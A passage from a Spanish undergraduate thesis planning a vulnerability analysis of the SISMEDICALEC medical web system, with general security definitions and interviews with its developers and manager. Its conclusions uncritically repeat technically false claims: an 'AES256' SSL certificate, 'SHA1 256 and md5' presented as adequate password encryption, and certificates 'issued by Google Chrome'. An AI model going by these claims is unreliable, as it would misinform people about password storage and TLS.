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RESUMEN EJECUTIVO

La finalidad del presente proyecto de investigacion es consolidar cada conoci-
miento adquirido durante toda la trayectoria de mi carrera universitaria, y mas en
concreto, en el area de seguridad informatica y administracion de redes. Este
documento que recoge todo el trabajo realizado durante el proyecto, en el que se
puede reflejar tanto el estudio tedrico del tema tratado, como la debida rea- lizacion
practica para el andlisis de vulnerabilidades enfocado en el sistema web
SISMEDICALEC perteneciente a la empresa Incomsis.

El presente proyecto, se plantea la problematica de una pequefia empresa que desea
mejorar el desarrollo y seguridad de su software, para luego lograr disefiar paginas
web mas robustas y seguras para satisfaccidn de sus usuarios.

La inseguridad de las paginas web es un problema muy critico en la actualidad. Es
por ello por lo que las empresas que disefian y desarrollan sistemas informaticos
requieren una labor técnica que se condensa en un analisis de vulnerabilidades en
la aplicacion web. El proceso para llevar a cabo dicho analisis, esta basado en la
seguridad de aplicativos web, que se describen en este proyecto, que sera Util para
analizar detectar y otorgar un manual con las posibles soluciones para las
vulnerabilidades web encontradas tanto en el codigo del software, sus
configuraciones del sistema que aloja la aplicacion web.
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ABSTRACT

The purpose of this research project is to consolidate every knowledge acquired
during the entire career of my university career, and more specifically, in the area
of computer security and network administration. This document that includes all
the work carried out during the project, which can reflect both the theoretical study
of the subject, and the proper implementation for the vulnerability analysis focused
on the web system SISMEDICALEC belonging to the company Incomsis. The
present project, is the problem of a small company that wants to improve the
development and security of its software, to then design more robust and secure
web pages for the satisfaction of its users.

The insecurity of web pages is a very critical problem at present. It is for this reason
that the companies that design and develop computer systems require a technical
work that is condensed in a vulnerability analysis in the web application. The
process to carry out this analysis is based on the security of web applications, which
are described in this project, which will be useful to analyze detect and grant a
manual with possible solutions for web vulnerabilities found in both the software
code , your system configurations that host the web application.
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INTRODUCCION

El presente proyecto de investigacion esta enfocado en analizar las vulnerabilida-
des informaéticas y elaborar un documento con los resultados obtenidos indicando
las posibles soluciones en cada riesgo detectado.

CAPITULO I, “EL. PROBLEMA”, se describe el problema que estara sujeto a
investigacion, incluyendo también la justificacion y el planteamiento de objeti-
VOS.

CAPITULO Il, “MARCO TEORICO”, contiene los antecedentes investiga-
tivos que fungiran como sustento al presente proyecto de investigacion asi también
una propuesta de solucién al problema planteados.

CAPITULO III, “METODOLOGIA”, se describe la forma en la que sera
llevado a cabo el presente proyecto justificando el uso de la metodologia de in-
vestigacion cualitativa y cémo seré elaborado.

CAPITULO IV, “DESARROLLO DE LA PROPUESTA?”, se detalla ca-
da uno de los pasos a seguir en el desarrollo de la investigacién utilizando la
metodologia indicada en el capitulo anterior, ademés se elaborara un documento
con los resultados obtenidos indicando las posibles soluciones en cada riesgo de-
tectado.

CAPITULO V, “CONCLUSIONES Y RECOMENDACIONES”, se
presentan las conclusiones de los resultados obtenidos de la investigacion y se
detallan las recomendaciones a partir de un documento con los posibles correctivos
de las vulnerabilidades detectadas, elaborado en el capitulo anterior.
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CAPITULO 1

El problema

1.1. Temade Investigaciéon

Anélisis de Vulnerabilidades de Seguridad Informatica del Sistema de Gestion
Meédica EC, de la empresa Incomsis.

1.2. Planteamiento del problema

El avance tecnoldgico y el desarrollo de aplicaciones informaticas para soportar
las necesidades del negocio de una organizacién hace imperioso cruzar fronteras,
por ejemplo, acceder desde la Web hasta llegar a una base de datos que esta
gestionada por un software que corre sobre un equipo Mainframe. De este modo,
la explotacion de la aplicacion se realiza atravesando diversas capas e integrando
diferentes plataformas existentes en la organizacion. Dado que las capas tienen
distintas naturalezas de seguridad, es necesario implementar un mecanismo
eficiente que permita que las aplicaciones sean realmente seguras cumpliendo con
los estandares respectivos y permaneciendo altamente alineadas con la tecnologia
La seguridad de las aplicaciones web al igual que con cualquier tecnologia
moderna, viene acompafiada con una nueva variedad de vulnerabilidades de
seguridad. El conjunto de los defectos que se detectan en los sitios web con mayor
frecuencia ha evolucionado a lo largo del tiempo: los nuevos ataques estan creados
de forma tal que resulta un tanto complicado considerarlos, al momento del
desarrollo de las aplicaciones y a su vez han surgido nuevas tecnologias que
introdujeron nuevas posibilidades de explotacion. Por otra parte, algunos
problemas han perdido importancia en la medida que se ha incrementado la
concientizacion respecto de ellos, y algunas categorias de defectos se han eliminado
como consecuencia de los cambios introducidos en el software de los navegadores
web. Es indiscutible que en la actualidad la seguridad en las aplicaciones web es el
principal campo de batalla entre atacantes y aquellos que administran recursos y
datos que se deben defender y es probable que siga asi en el futuro mediato. Como
parte de los mecanismos basicos de seguridad de las aplicaciones, los controles de
acceso se encuentran construidos por encima de los mecanismos de autenticacion



y de gestion de sesion; la principal razon por la que una aplicacién necesita incluir
estas funcionalidades, al menos en términos de la seguridad, es la necesidad de
contar con algun mecanismo que le permita decidir si permite la ejecucion de la
accion indicada en una solicitud sobre los recursos indicados [1].

Muchas empresas actualmente no cuentan con planes de contingencia ante ataques
de seguridad informatica, y no es raro que aquellas dedicadas al desarrollo de
software no vean la necesidad de implementar medidas para proteger la
informacion, ya que se suele tener la creencia de que su tarea se limita a crear un
producto que es ajeno a ataques de seguridad informatica, pues tiende a verse como
un asunto de la infraestructura y redes de telecomunicaciones, y que no concierne
al mundo de la programacion. En el entorno empresarial, a pesar de que la mayoria
de las empresas no ven la importancia de implementar practicas e incluir
requerimientos de seguridad (ya sea porque los clientes no los solicitano la propia
empresa no los define), los riesgos informaticos estan siempre presentes y pueden
ocasionar grandes dafios en las organizaciones. El problema esta en que diversas
empresas no tienen el conocimiento de como reflejar la baja calidad del software
en los objetivos del negocio, y por tanto no se puede medir el impacto que estas
situaciones tienen sobre los costos, la eficacia y la eficiencia de un proyecto [2].
El 24 de enero del 2015 Diario ElI Comercio en sus titulares dio a conocer que en
Ecuador la mafiana del 19 de enero del 2015, Cibermafias atacaron a 17 empresas
en solo 5 dias, donde encriptaron archivos valiosos: documentacion levantada en
Word, Excel y AutoCAD. Una de las empresas atacadas perdié carpetas donde
almacenaba datos sensibles del departamento de contabilidad y reportes de la
Fiscalia General del Estado del Ecuador misma que corroboran dicha afirmacion.
Segun la publicacién del Diario EI Comercio del 28 de enero del 2015, el delito
informatico en el Ecuador evoluciond de la siguiente manera:

La figura 1.1, muestra la representacion en Ecuador de los delitos informaticos,
que indican que en el afio 2008 hubo un porcentaje de solo el 20 %, mientras que
en cinco afios mas crecio al 46 %, lo que permite observar que los cibercrimenes
cada afo van en aumento.

Todas las empresas de servicios estan ligadas a receptar y emitir informacion
sensible, como por ejemplo bancos, aseguradoras, despachos juridicos las mismas
deben estar debidamente protegidas; en este proceso juegaun papel importante el
tipode infraestructura/seguridad que utiliceny quien esté encargado de lamisma;
con el objeto de no sufrir ningun ataque o robo por personas no autorizadas y
puedan contar con mayor confianza dentro del mercado al que se dedican [3].
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Figura 1.1: Representacion de Evolucion de delitos Informaticos en el Ecuador.

La empresa Incomsis, ha puesto a disposicion de los profesionales de la salud, el
Sistema de Gestion Médica, (SISMEDICALEC), el mismo que cumple con el
objetivo de brindar una solucion para consultorios médicos incluida el area de
soporté técnico. El sistema actualmente no posee las politicas de seguridad de la
informacion basada en las buenas practicas existentes.

1.3. Delimitacion

1.3.1. Delimitacion de contenidos

El presente proyecto de investigacion, su area de estudio esta basada en Tecnologia
Informatica.

Area académica: Hardware y Redes

Lineas de investigacion: Sistemas administradores de recursos

Sublinea de investigacién: Seguridad Informatica.

1.3.2. Delimitacién espacial

Este proyecto investigativo se llevara a cabo en la ciudad de Ambato, en las
instalaciones de la empresa Incomsis.

1.3.3. Delimitacion temporal

La investigacion y desarrollo se efectuarad durante el semestre septiembre-febrero
2019.

1.4. Justificacion

Este proyecto de investigacion es de gran interés para el personal de la empresa y
los usuarios del sistema de gestion médica, pues almacena informacion de caracter
confidencial y de importancia para las personas interesadas en el que consta datos



personales de cada usuario del sistema web.

En la actualidad se conoce que no se ha realizado un estudio minucioso en el area
de seguridad informética, en las aplicaciones web de la institucion, por lo que este
proyecto investigativo representa un desarrollo tecnoldgico e innovador para los
usuarios interesados.

Para realizar esta investigacion se requiere de la asesoria del personal capacitado
para el control y uso del sistema web SISMEDICALEC de la empresa Incomsis,
en la cual se realizaran pruebas de seguridad informética, de los diferentes tipos
de ataques que hoy en dia son los de mayor vulnerabilidad para los sistemas web.
Los beneficiarios directos de este proyecto investigativo seran los usuario,
propietarios y administradores del sistema de gestion médica EC de Incomsis,
ofreciéndoles seguridad y confiabilidad de la informacion almacenada y distribuida
en el mismo.

1.5. Objetivos

1.5.1. General

Analizar las vulnerabilidades informaticas para optimizar la seguridad de la
informacion del sistema de gestion medica SISMEDICALEC,propiedad de la
empresa Incomsis.

1.5.2. Especificos

= Realizar un estudio preliminar acerca de las tecnologias empleadas para la
creacion y utilizaciéon del sistema de gestion médica EC, de la empresa
Incomsis.

= Identificar cuéles son las principales amenazas encontradas, al momento de
realizar un analisis de las vulnerabilidades del sistema de gestion médica
(SISMEDICALEC).

= Definir las tecnologias necesarias, para llevar a cabo los adecuados ataques
informaticos para el sistema de gestion médica EC.

= Documentar los resultados obtenidos que indiquen las posibles soluciones a
las vulnerabilidades encontradas en el sistema SISMEDICALEC.



CAPITULO 2

Marco Tebdrico

2.1. Antecedentes Investigativos

En la actualidad el mundo tecnoldgico avanza a pasos agigantados, por lo que es
necesario que la informacion de caracter personal y empresarial sea almacenada
en repositorios seguros, que brinden confiabilidad a los usuarios. Por lo cual el
presente proyecto investigativo tendrd como objetivo principal detectar y analizar
las diferentes vulnerabilidades informéticas encontradas dentro de una red que
podria ser atacada, por ello se ha realizado una investigacion de casos anteriores,
acerca de debilidades en la web, incluido hacking ético.

Segun la investigacion realizada por los estudiantes de la Universidad Técnica de
Babahoyo, Vega y Ramos en su articulo cientifico dan a conocer que no existe un
software especifico que gestione las actividades de seguridad informatica y trate
eficientemente las conexiones de usuarios de red y monitoree los accesos y usos
de Internet.

Al tener un libre acceso a sitios no seguros dentro de la intranet y al no existir una
adecuada administracion en la infraestructura tecnologica, lo cual limita el trabajo
al firewall de hardware de esta, lo que a su vez provoca una desconfianza total por
las grandes vulnerabilidades internas de la Universidad [4].

En el proyecto de tesis de Maria Elena Hurtado Sandoval y Luis Alcides Mendafio
Mendafio, dan a conocer que la informacién que fluye por las redes puede ser
susceptible a diferentes tipos de ataques de esta manera, datos confidenciales de
una organizacion en manos equivocadas podrian comprometer la integridad de la
institucion.

Y por ende con el pasar de los tiempos ha surgido la necesidad de implementar
procesos de seguridad mas robustos y con ello efectuar técnicas de intrusiones bajo
un ambiente controlado, lo cual simule un ataque real. Esta simulacion permite
encontrar brechas en la seguridad, que los atacantes podrian aprovechar para
infiltrarse en la red de una organizacién con fines maliciosos y de tal forma
manipular la informacion, suplantar identidades, colapsar servicios, u otras
actividades propias de un delincuente informatico.

La funcidn de un hacker ético es efectuar ataques controlados hacia una



infraestructura informaética especifica para detectar y explorar vulnerabilidades
potenciales, pero sin poner en riesgo los sistemas y servicios auditados [5].

La especialista en Seguridad Informaética de la Universidad Pontificia Bolivariana
seccional Bucaramanga, Silvia Diaz, al finalizar con su investigacion llegé a la
conclusion que el proceso de aseguramiento de la calidad las empresas deben
buscar definir los roles del equipo de calidad del software, las responsabilidades
de los desarrolladores y las actividades respecto a los requisitos de seguridad de
informacion, incorporando estos aspectos dentro de las pruebas de software, y no
solamente cuando el cliente lo solicite.

Es fundamental que las empresas dedicadas al desarrollo de software establezcan
sus politicas y procesos de aseguramiento de la calidad del software, definiendo
los requerimientos de seguridad con base en un analisis de riesgos, teniendo en
cuenta los tiempos, recursos (tecnolégicos, humanos y econdémicos), limitacionesy
ventajas competitivas del equipo (tanto de desarrollo como de calidad) invirtiendo
a su vez en capacitacion; con el fin de brindar un alto nivel de integracion en las
pruebas y por tanto de calidad de software, que se evidenciara en la satisfaccion
del cliente y de los usuarios finales, asi como en la disminucién de costos por
trabajo extra o incumplimiento de tiempos [2]

2.2. Fundamentacion Teodrica

Auditoria de Seguridad de Sistemas de Informacion

Es el estudio que comprende el andlisis y gestién de sistemas llevado a cabo por
profesionales en tecnologias de la informacion (T1) con el objetivo de identificar,
enumerar y describir las diversas vulnerabilidades que pudieran presentarse en una
revisién exhaustiva de las estaciones de trabajo, redes de comunicaciones,
servidores o aplicaciones [6].

Seguridad Informatica

Es el conjunto de procedimientos, estrategias y herramientas que permitan
garantizar la integridad, la disponibilidad y la confidencialidad de la informacion
[7].

Un conjunto de métodos y herramientas destinadas a proteger la informacion y por
ende los sistemas informaticos ante cualquier amenaza, un proceso en el cual
participan ademas personas [8].

Analisis de Riesgos
Es un proceso que comprende la identificacion de activos de informacion, sus
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vulnerabilidades y las amenazas a los que se encuentran expuestos, asi como la
probabilidad de ocurrencia y el impacto de estas, a fin de determinar los controles
adecuados para tratar el riesgo [6].

Amenazas

Cualquier circunstancia con el potencial suficiente para causar pérdida o dafio al
sistema. Ejemplos de amenazas son los ataques humanos, los desastres naturales,
los errores humanos inadvertidos, fallas internas del hardware o el software.

Vulnerabilidades
Consistira en cualquier debilidad que puede explotarse para causar pérdida o da-
fio al sistema. De esta manera, en punto mas débil de seguridad de un sistema
consiste en el punto mas débil de seguridad de un sistema, consiste en el punto de
mayor vulnerabilidad de ese sistema. Ataque Es cualquier accion que explota una
vulnerabilidad [9].

Hacking ético
Es un servicio de Auditoria de T.I, que ofrecen empresas especializadas, con el fin
de evaluar la seguridad de un sistema informatico de forma integral.

Hacker ético
Es un profesional que tiene las habilidades para evaluar la seguridad de un sis-
tema informatico de forma integral, llevando a la préctica una serie de pasos

secuenciales y teniendo como un criterio trasversal una “Etica Profesional™.

Cracker

Un cracker es alguien que viola la seguridad de un sistema informatico de forma
similar a como lo haria un hacker, sélo que, a diferencia de este ultimo, el cracker
realiza la intrusion con fines de beneficio personal o para hacer dafio a su objetivo
[10].

Pentest

Una prueba de penetracion es un ataque a un sistema software o hardware con el
objetivo de encontrar vulnerabilidades. El ataque implica un analisis activo de
cualquier vulnerabilidad potencial, configuraciones deficientes o inadecuadas,
tanto de hardware como de software, o deficiencias operativas en las medidas de
seguridad. Este anélisis se realiza desde la posicion de un atacante potencial y



puede implicar la explotacion activa de vulnerabilidades de seguridad. Tras la
realizacion del ataque se presentard una evaluacion de seguridad del sistema, in-
dicando todos los problemas de seguridad detectados junto con una propuesta de
mitigacién o una solucién técnica. La intencion de una prueba de penetracion es
determinar la viabilidad de un ataque y el impacto en el negocio de un ataque
exitoso [6].

Tipos de Prueba de Penetracion

Caja Negra
Se proporciona poca o0 ninguna informacion sobre el objetivo de evaluacion por
adelantado. Es mas frecuente en pruebas de penetracion a redes.

Caja Cristal

Son realizadas generalmente por un equipo interno, pero ahora es més frecuen- te
asignarlo a un equipo externo. El equipo de prueba usualmente es parte del equipo
de QA, y como tal se convierte en una parte del ciclo de vida para el desarrollo del
software. Se tiene acceso al codigo fuente para revisarlo y reportar las
vulnerabilidades encontradas.

Caja Gris

Es el tipo de prueba mas comun. Requiere realizar més trabajo para obtener
informacion necesaria. Es critica la comunicacion entre el equipo de pruebas y la
empresa en evaluacion [11].

Metodologia OWASP Referencia de Escritorio en Seguridad de Aplicaciones de
OWASP (OWASP Application Security Desk Reference).

La ASDR contiene las definiciones béasicas y descripciones de todos los principios
importantes de seguridad, agentes de amenaza, ataques, vulnerabilidades, con-
tramedidas, impactos técnicos y de negocio en seguridad de aplicaciones. Esta es
una referencia basica para todas las otras guias y es referenciada también por estos
otros volumenes [12].

Tipos de Ataques DDoS

Se entiende como denegacion de servicio, en términos de seguridad informatica, a
un conjunto de técnicas que tienen por objetivo dejar un servidor inoperativo.
Mediante este tipo de ataques se busca sobrecargar un servidor y de esta forma
impedir que los usuarios legitimos puedan utilizar los servicios por prestados por



él. El ataque consiste en saturar con peticiones de servicio al servidor, hasta que
éste no puede atenderlas, provocando su colapso. Un método maés sofisticado es el
ataque de Denegacion de Servicio Distribuido (DDoS), mediante el cual las
peticiones son enviadas, de forma coordinada entre varios equipos, que pueden
estar siendo utilizados para este fin sin el conocimiento de sus legitimos duefios
(por ejemplo, a través de una botnet).

Ataque de repeticion

Es un tipo de ataque en el cual el atacante captura la informacién que viaja por la
red, por ejemplo, un comando de autenticacién que se envia a un sistema in-
formatico, para, posteriormente, enviarla de nuevo a su destinatario, sin que este
note que ha sido capturada. Si el sistema informatico o aplicacion es vulnerable a
este tipo de ataques, el sistema ejecutard el comando, como si fuera legitimo,
enviando la respuesta al atacante que puede asi obtener acceso al sistema. Para
protegerse de este tipo de ataques el sistema informéatico puede tomar medidas
como usar un control de identificacion de comandos, de sellado de tiempos (ti-
mestamp), etc. junto con el cifrado y la firma de los comandos con el fin de evitar
que sean reutilizados.

Spoofing

Es una técnica de suplantacion de identidad en la Red, llevada a cabo por un ci-
berdelincuente generalmente gracias a un proceso de investigacion o con el uso de
malware. Los ataques de seguridad en las redes usando técnicas de spoofing po-
nen en riesgo la privacidad de los usuarios, asi como la integridad de sus datos [6].

Virus

Es una secuencia de cédigo que se inserta en un fichero ejecutable (denominado
huésped), de forma que cuando el archivo se ejecuta, el virus también lo hace,
insertandose a si mismo en otros programas.

Gusanos

Un gusano es un programa capaz de ejecutarse y propagarse por si mismo a través
de redes, en ocasiones portando virus o aprovechando bugs de los sistemas a los
gue se conecta para danarlos.

Caballos de Troya
Los troyanos o caballos de troya son instrucciones escondidas en un programa de



forma que este parezca realizar las tareas que un usuario espera de él, pero que
realmente ejecute funciones ocultas sin el conocimiento del usuario [7].

Aplicacion Web

Sitio web donde las entradas del usuario (navegacién y entrada de datos) afectan
al estado de negocio” Jim Conallen. Una aplicacion web usa un sitio web como
fachada de una aplicacidn tradicional [13].
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CAPITULO 3

Metodologia

3.1. Modalidad Basica de la investigacion

Modalidad Bibliografica

Este proyecto investigativo esta basado en informacion encontrada en la Inter- net
como articulos cientificos, libros en pdf, enlaces bibliograficos también libros
técnicos fisicos, los cuales permiten obtener informacion clasificada para llevar a
cabo la investigacion.

Modalidad Aplicada

En esta modalidad se aplica los conocimientos adquiridos a lo largo del estudio
académico basados en los modulos de Desarrollo de Software, Intranets-Extranets
y Seguridad Informatica.

Modalidad Campo

Para lograr conocer las actividades de esta empresa, en base a su entorno web y
poder llevar a cabo el desarrollo del proyecto investigativo, ya sea para la deteccion
de las vulnerabilidades informaticas, como también para disefiar las adecuadas
correcciones, la investigacion se desarrollara en las instalaciones de la empresa
Incomsis.

3.2. Recolecciéon de Informacion

Al realizar esta etapa del proyecto se necesitara informacion precisay clara, pa- ra
lograr su ejecucion, se utilizara una herramienta de software libre orientada al
hacking ético para el analisis de vulnerabilidades informaéticas y al conocer cual es
su deficiencia se podra disefar los respectivos procesos de correccion aplicables.
Se aplicara entrevistas a los directivos y personal de la institucion para poder
recopilar la mayor cantidad de informacion que sera utilizada para la elaboracion
del proyecto investigativo.
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Entrevista nUmero uno

Nombre de los entrevistados: Diego Ocampo, Eduardo Masaquiza
Fecha: 25/10/2018

Cargo: programadores y analistas del sistema SISMEDICALEC
Lugar: Oficina para visitas en la empresa.

1. ¢(Cudl es la principal funcionalidad del sistema?

Diego Ocampo, dice que: las funcionalidades del sistema son: - EI agendamiento
de citas medicas, Consulta externa, toma de signos vitales, CIE10 Eduardo
Masaquiza, respondidé que: las funcionalidades son: - Agendar citas y Control
de citas médicas.

2. ¢El sistema se encuentra dividido en mddulos, si es afirmativo
cuantos y cuales son?

Diego Ocampo, responde: - El sistema se compone de un solo modulo, es el

de Agendamiento de Citas y la Consulta

Eduardo Masaquiza, dice: Si, esta dividido mddulos y son los siguientes: -
Agendar citas, Consultas externas , Controlar signos vitales, CIE10 , Usuarios y
roles, Pacientes, Doctores.

3. ¢Qué cantidad de usuarios se conectan en el sistema y cuantos son
simultaneos?

Diego Ocampo, responde: - Esta dividido en roles en administrador y
enfermeros aproximadamente 5 personas.

Eduardo Masaquiza, dice:- Los que se conectan actualmente son tres personas

4. ¢ Existe un log que almacene los errores del sistema y en qué consiste
el mismo?

Diego Ocampo, responde: - Si tiene un log que almacena todas las actividades,
es un log completo, como ingresos y el total funcionamiento del sistema.
Eduardo Masaquiza, dice:- El Log lo genera el proveedor del hosting cuando
hay errores en el sistema .

5. ¢El sistema ha sido desarrollado en capas, puede detallar cada una
de ellas?
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Diego Ocampo, responde: - Es un sistema solo esta estructurado, no esta en
capas.
Eduardo Masaquiza dice:- El sistema web no esta creado el sistema en capas.

6. ¢El sistema SISMEDICALEC, contiene certificados de seguridad?
Diego Ocampo, responde: - Si posee, el certificado AES256, emitido por
COMODO.

Eduardo Masaquiza, dice:- El sistema web, posee el certificado AES256, emi-
tido por COMODO.

7. ¢Qué tipo de cifrado utiliza el sistema para la seguridad de
informacién vulnerable como las contrasefias?

Diego Ocampo, responde: - El cifrado que usa es ShA1 256 y md5.
Eduardo Masaquiza, responde:- El cifrado Shal 256 y md5.

8. ¢El sistema se encuentra alojado en un housing con servidores
propios o un hosting de pago en la nube?

Diego Ocampo, responde: - El sistema esta almacenado en un hosting de pago
y esta en Argentina.

Eduardo Masaquiza, dice:- Esta alojado en un hosting de pago en la nube.

9. ¢(Cada qué tiempo se realiza respaldos de la informacién del sistema
que tipos y en donde es almacenado?

Diego Ocampo, responde: - El tiempo para la realizacion de respaldos de
informacion es variante dependiendo de factores relacionados al sistema web. Se
emite un certificado en Google Chrome y luego de la correcta configuracion del
certificado, al navegar en la carpeta Home ahi esta la almacenada la public_html,
la que contiene los datos de la web.

Eduardo Masaquiza, dice:- El tiempo para la realizacion de respaldos de infor-
macion es variante dependiendo de factores relacionados al sistema web. Seemite
un certificado en Google Chrome y luego de la correcta configuracion del certifica-
do, al navegar en la carpeta Home donde esta la almacenada public_html, la que
contiene los datos de la web. Es almacenada la informacion en un hosting externo.

10. ¢ El sistema web cuenta con un log de auditoria?
Diego Ocampo, responde: - No posee actualmente.
Eduardo Masaquiza, dice:- No posee actualmente.
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11. Describa cuales son los roles de los usuarios del sistema y detalle cada
uno de ellos.

Diego Ocampo,manifiesta que:- Rol administrador: acceso total , Rol usuario
médico: que puede hacer todo, Rol de usuario del enfermero: que realiza la
consulta de los signos vitales del paciente, Rol de usuario invitado: cliente: que
hace el agendamiento de la cita.

Eduardo Masaquiza, respondio que:- Rol de administrador: administracion para
afadir, actualizar, eliminar y seleccionar los usuarios del sistema. Medico: realiza
consultas y signos vitales, confirma la cita del paciente - Usuario: agendar citas ,
Enfermero: controla los signos vitales del paciente.
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Entrevista nUmero dos

Nombre del entrevistado: Ing. Adrian Figueroa

Fecha: 03/11/2018

Cargo: Gerente propietario de la empresa Incomsis.

Lugar: Oficina de gerencia en la empresa

1. ¢Se ha elaborado el debido proceso para el control de calidad del
sistema web?

Responde:- EI Control de la calidad del software se ha determinado de acuerdo
con el factor de seguridad, es decir, si la aplicacion es de facil intercepcion y vul-
nerable no podria salir a produccion. Un tema bastante importante es resolver todos
los requerimientos que tiene el cliente para asi ofrecer un producto adapta- do al
usuario final.

2. Ha tenido dificultades para ingresar al sistema SISMEDICALEC?
Responde:- Al principio no se ha tenido problema, ya que obedece a un flujo
detrabajo utilizando la experienciaque tienen los médicos con sus pacientes. Los
principales problemas se han dado debido a las pésimas conexiones de internet
que tienen los clientes, los cuales hemos sugerido migrar a otro proveedor de in-
ternet con mejor estabilidad.

3. ¢Como maneja el sistema SISMEDICALEC, las politicas de
contrasefas?

Responde:- Como politica de contrasefias, se exige un minimo de 8 caracteres,
combinados entre letras mayusculas, minusculas, caracteres especiales y nimeros.

4. ¢Piensa que es necesario simular un test de penetracion para el sistema
SISMEDICALEC, para poder determinar la seguridad de este?
Responde:- Claro que si, es importante no solo ahora, sino continuamente, asi
vamos descubriendo vulnerabilidades a corregir en el sistema .

5. ¢Esta de acuerdo en implementar un conjunto de buenas practicas

de seguridad para la informacion, de las funciones del sistema web,
elaboradas a partir de recomendaciones, normativas y estandares?
Responde:- Muy importante, y totalmente de acuerdo, las buenas practicas ha-
cen gue el producto se mantenga en una excelente calidad.
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6. ¢Ha conocido casos de violacion de informacion en el sistema web?
Responde:- En la actualidad nuestro sistema esta en una fase de pruebas por lo
cual aun no hemos detectado casos de violacién de nuestra informacion.

7. ¢La empresa Incomsis ha desarrollado algun proceso de soporte y
mantenimiento para el sistema SISMEDICALEC?

Responde:- Al momento el sistema se encuentra en evaluacion y correccion de
errores generales, para poder ponerlo en produccion.

8. ¢La empresa Incomsis posee la adecuada documentacion de creaciéon y
puesta en marcha del sistema SISMEDICALEC?

Responde:- Al momento se esta generando toda la documentacion necesaria para
el sistema, la misma que no se encuentra disponible por el momento.

3.3. Procesamiento y analisis de datos

Recopilada la informacion se organizay se analiza los procesos tomando en cuenta
en primer lugar aquellos que representen un mayor riesgo dentro de la empresa.
Aplicando procedimientos de estudio en las entrevistas los cuales seran expuestos
posteriormente para facilitar su respectivo andlisis e interpretacion de los
resultados obtenidos a traves de ellas.

3.4. Analisis e interpretacion de la informacion obtenida en base a
las entrevistas

Interpretaciéon y conclusiones de la entrevista realizada a los
programadores del sistema web, “sismedicalec”

Pregunta niumero 1:

Interpretacion de respuestas: Los dos programadores concuerdan que las
funciones principales del sistema Sismedicalec, es el Agendamiento de Citas
médicas y el Control de las citas médicas en base a una consulta externa, lo  que
manifiesta cual es el objetivo principal del sistema web para uso de los
profesionales de la salud.

Conclusiones: - El sistema SISMEDICALEC, cuente con dos modulos que son,
Agendamiento de Citas y Control de citas médicas, para beneficio de los profe-
sionales de la salud.

Pregunta niumero 2:
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Interpretacion de respuestas: Los programadores entrevistados manifiestan
respuestas diferentes Diego Ocampo responde que el sistema web solo esta
compuesto por un solo modulo, mientras Eduardo Masaquiza expresa que el
sistema posee varios médulos y los nombra a cada uno de ellos, lo que da a
entender que los programadores tienen una opinién totalmente diferente respecto
a la cantidad de modulos que posee el sistema Sismedicalec.

Conclusiones: No existe una respuesta concordante entre los programadores en-
trevistados respecto al nimero de mddulos que posee el sistema web.

Pregunta niumero 3:

Interpretacion de respuestas: En respuesta a la cantidad de usuarios que se
conectan simultdneamente en el sistema también expresan respuestas diferentes
debido a que Diego Ocampo dice que se conectan 5 personas mientras que Eduardo
Masaquiza dice que solo son 3 usuarios que se conectan simultdneamente, lo que
genera una duda pues no esta claro el numero total de usuarios conectados.
Conclusiones: En este item no coinciden las respuestas de los programadores pues
cada uno expresa un numero diferente de los usuarios que se conectan si-
multdneamente al sistema informatico.

Pregunta numero 4:

Interpretacion de respuestas: Los dos programadores concuerdan en decir que
el sistema web si posee un log de errores que es generado y almacenado en el
hosting contratado para el almacenamiento de Sismedicalec.

Conclusiones: - El sistema web posee un log de errores con su correcto almace-
namiento en un hosting especifico de uso de la empresa.

Pregunta niumero 5:

Interpretacion de respuestas: La respuesta expresada por los dos programa-
dores coincide manifestando que el sistema web no ha sido desarrollado en capas
lo cual seria una ventaja para la empresa si lo hubieran hecho ya que podrian ha-
cer reutilizacion del codigo programado y seria de mejor y rapido entendimiento
para otros programadores de la empresa.

Conclusiones: El sistema Sismedicalec no ha sido programado en capas, 1o que
permitiria la separacion en partes de los componentes del sistema siendo mas
sencillo para mantencion y creacion de las interfaces.

Pregunta niumero 6:
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Interpretacion de respuestas: Los dos programadores entrevistados coinciden en
que el sistema web posee un certificado de seguridad que es un algoritmo de
cifrado simétrico denominado AES 256, emitido por COMODO, el mismo que fue
disefiado para ser eficiente tanto en hardware como en software para asegurar
informacion sensible, y admite una longitud de bloque de 128 bits y una longitud
de clave de 128, 192 y 256 bits.

Conclusiones: - El sistema Sismedicalec, posee un certificado de seguridad (SSL)
denominado AES 256 emitido por COMODO .

Pregunta niumero 7:

Interpretacion de respuestas: Los programadores entrevistados concuerdan en
su respuesta diciendo que el sistema Sismedicalec, posee un cifrado de seguridad
para las contrasefias de usuarios el cual es el cifrado shal 256 que es un algoritmo
criptografico y por medio de la encriptacion, la informacion privada puede ser
enviada publicamente por internet sin mayor riesgo de que otros puedan tener
acceso a ella, ya que solo los que poseen la clave de encriptacién podrian tener el
acceso permitido.

Conclusiones: El sistema web contiene un cifrado de seguridad para la gestién de
contrasefias de usuarios denominado shal 256, algoritmo de criptografia.

Pregunta niumero 8:

Interpretacion de respuestas: La respuesta expresada por los dos programa-
dores coincide al decir que el sistema Sismedicalec, esta alojado en un hosting de
pago en Argentina contratado por la empresa Incomsis, para el correcto alma-
cenamiento de los sistemas web, y asi se cumple con un nivel de seguridad que
expone que los respaldos de informacién deben estar alojados fuera de la infraes-
tructura de la empresa..

Conclusiones: El sistema Sismedicalec, para su correcta administracion ha sido
alojado en un hosting de pago en el extranjero.

Pregunta niumero 9:

Interpretacion de respuestas: Los dos programadores coinciden por completo en
su respuesta manifestando que Google Chrome emite el certificado, y que se debe
realizar la adecuada configuracion del certificado segun los requerimientos de la
empresa, también mencionan que los contenidos de los datos web estan alojados en
la carpeta public_html, la cual contiene toda la informacion respectiva del sistema
web Sismedicalec.
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Conclusiones: EIl contenido del sistema web estd alojado en la carpeta pu-
blic_html, y que poseen un certificado emitido por Google Chrome y el tiempo de
respaldos de informacion se realiza mediante una planificacion dependiendo de
diversos factores .

Pregunta numero 10:

Interpretacion de respuestas: La respuesta brindada por los dos programa- dores
entrevistados expone que el sistema web en la actualidad adn no posee un log de
auditoria, lo que es una desventaja para la misma pues el log almacena registros
de auditoria de manera remota para proteger los datos del registro y evitar que sean
modificados o suprimidos por un atacante informatico.

Conclusiones: Actualmente el sistema Sismedicalec, no posee un log de audito-
ria.

Pregunta niumero 11:

Interpretacion de respuestas: Los programadores entrevistados concuerdan
en su respuesta manifestando que el sistema posee varios roles de usuario desde
el rol de administrador hasta el rol de usuario invitado, lo cual es bueno para la
empresa pues cada persona segun su rol puede hacer uso de la informacién con las
normas de seguridad adecuadas que son asignadas segun el usuario que acceda.
Conclusiones: El sistema informatico, posee diversos roles de usuario para su
correcto gestionamiento y administracion de la informacion.
